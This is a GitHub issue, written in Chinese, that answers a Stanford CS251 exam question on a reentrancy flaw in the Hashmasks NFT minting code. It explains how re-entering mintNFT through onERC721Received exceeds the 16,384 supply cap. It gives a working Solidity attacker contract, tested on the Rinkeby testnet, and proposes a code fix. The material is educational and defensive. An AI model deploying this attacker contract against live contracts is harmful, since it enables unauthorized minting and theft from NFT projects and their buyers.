Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CS251 - final 2021 - 问题 4 #157

Open
qiwihui opened this issue Mar 15, 2022 · 0 comments
Open

CS251 - final 2021 - 问题 4 #157

qiwihui opened this issue Mar 15, 2022 · 0 comments
Labels
区块链 区块链相关

Comments

@qiwihui
Copy link
Owner

qiwihui commented Mar 15, 2022

问题4. [16 分]: Hashmasks 重入缺陷

在第8课和第3节中,我们讨论了 solidity 重入缺陷。在这个问题中,我们将看一个有趣的现实世界的例子。考虑下面16384个NFT中使用的 solidity 代码片段。通过调用此NFT合约上的 mintNFT() 函数,用户一次最多可以铸造20个NFT。您可以假设所有内部变量都由构造函数正确初始化(未显示)。

  function mintNFT(uint256 numberOfNfts) public payable {
    require(totalSupply() < 16384, 'Sale has already ended');
    require(numberOfNfts > 0, 'numberOfNfts cannot be 0');
    require(numberOfNfts <= 20, 'You may not buy more than 20 NFTs at once');
    require(totalSupply().add(numberOfNfts) <= 16384, 'Exceeds NFT supply');
    require(getNFTPrice().mul(numberOfNfts) == msg.value, 'Value sent is not correct');
    for (uint256 i = 0; i < numberOfNfts; i++) {
      uint256 mintIndex = totalSupply(); // get number of NFTs issued so far
      _safeMint(msg.sender, mintIndex); // mint the next one
    }
  }

  function _safeMint(address to, uint256 tokenId) internal virtual override {
    // Mint one NFT and assign it to address(to).
    require(!_exists(tokenId), 'ERC721: token already minted');
    _data = _mint(to, tokenId); // mint NFT and assign it to address to
    _totalSupply++; // increment totalSupply() by one
    if (to.isContract()) {
      // Confirm that NFT was recorded properly by calling
      // the function onERC721Received() at address(to).
      // The arguments to the function are not important here.
      // If onERC721Received is implemented correctly at address(to) then
      // the function returns _ERC721_RECEIVED if all is well.
      bytes4 memory retval = IERC721Receiver(to).onERC721Received(to, address(0), tokenId, _data);
      require(retval == _ERC721_RECEIVED, 'NFT Rejected by receiver');
    }
  }

让我们证明 _safeMint 根本不安全(尽管它的名字是安全)。

A)    假设已经铸造了16370个NFT,那么 totalSupply()=16370。请解释恶意合约如何导致超过16384个NFT被伪造。攻击者最多可以造出多少个NFT?

提示:如果在调用地址 onERC721Received 是恶意的,结果会怎样?请仔细检查铸币回路,并考虑重入缺陷。

答: 在已经 mint 16370 个NFT基础上,调用 mingNFT 可传入的最大 numberOfNfts 为 14 可以通过 mintNFT 开始五行的限制,当上述合约在调用地址 to 上的 onERC721Received 函数时,这个函数可以再次调用上述 mingNFT 函数,此时,在原来已经 mint 一个的基础上,传入的 numberOfNfts 为 13 个可以通过 mintNFT 的限制,然后重复同样的过程,依次可以 mint 12, 11 直到 1,最后在函数内部,已经没有其他限制,故这些数量的 NFT 均可以被 mint,所以理论上总共可以 mint 的数量为 $14+13+\dots+2+1=105$

B)    假设现在总供给的价值是16370,请写出实施对(a)部分进行攻击的恶意Solidity合约代码。

答:

contract Attacker is IERC721Receiver {
  Hashmasks hashmasks;

  constructor(address _hashmasksAddress) {
    hashmasks = Hashmasks(_hashmasksAddress);
  }

  function attack() public payable{
    {
      uint256 num = hashmasks.balanceOf(address(this));
      // console.log("num: ", num);
      if (num < 14) {
        // 16384 - 16370 = 14
        hashmasks.mintNFT{value: 14-num}(14 - num);
      }
    }
  }

  function onERC721Received(
    address _from,
    address _to,
    uint256 _tokenId,
    bytes memory _data
  ) external returns (bytes4) {
    attack();
    return msg.sig;
  }
}

其中 attack 设置为 payable 是因为需要通过攻击合约调用 mintNFT 函数,需要发送一定数量的以太,可以选择在部署后先发送一定数量的以太到攻击者合约中,也可以将 attack 设置成 payable,在攻击的交易中发送以太到

实验:在 Rinkeby 上部署,攻击者合约地址为 0xf1eb80Bb66A70E44d42B3ceC0bC18Ec28B5F2Ea8,实际攻击的交易:https://rinkeby.etherscan.io/tx/0xb90496fd8789c3d1800df1bd3a571d019fb6158cbd521a9d05e57ad62460d15f,这个部署的合约中,NFT的价格设置为 1 wei,所以理论上只要发送 105 wei 到攻击这合约中,但是保险起见,发送了150wei,最后也可以看到攻击这合约中还剩下 45 wei。

C)    你会在前一页的代码中添加或更改哪一行Solidity来防止你的攻击?请注意,单个交易不应该铸造超过20个NFT。

答: 可以将 _safeMint 方法中, _totalSupply++; 这一行放到验证 NFT 的调用之后:

  function _safeMint(address to, uint256 tokenId) internal virtual override {
    // Mint one NFT and assign it to address(to).
    require(!_exists(tokenId), 'ERC721: token already minted');
    _data = _mint(to, tokenId); // mint NFT and assign it to address to
    
    if (to.isContract()) {
      // Confirm that NFT was recorded properly by calling
      // the function onERC721Received() at address(to).
      // The arguments to the function are not important here.
      // If onERC721Received is implemented correctly at address(to) then
      // the function returns _ERC721_RECEIVED if all is well.
      bytes4 memory retval = IERC721Receiver(to).onERC721Received(to, address(0), tokenId, _data);
      require(retval == _ERC721_RECEIVED, 'NFT Rejected by receiver');
    }
	_totalSupply++; // increment totalSupply() by one
  }

这样,当合约被重入攻击时,由于 _totalSupply 还没有增加,因此在第二次进入 mintNFT 函数时 mintIndex 的值是第一次 mint 的值,会导致触发 'ERC721: token already minted' 这个错误,有效保证合约安全。

    for (uint256 i = 0; i < numberOfNfts; i++) {
      uint256 mintIndex = totalSupply(); // get number of NFTs issued so far
      _safeMint(msg.sender, mintIndex); // mint the next one
    }

验证交易: https://rinkeby.etherscan.io/tx/0xa5f70a226c5fd64132eee800f8902ddb9b4ff562ff7f37820d11746fbde52acb

感谢 discord yyczz#5837 对于这个问题的指导。

@qiwihui qiwihui added the 区块链 区块链相关 label Mar 15, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
区块链 区块链相关
Projects
None yet
Development

No branches or pull requests

1 participant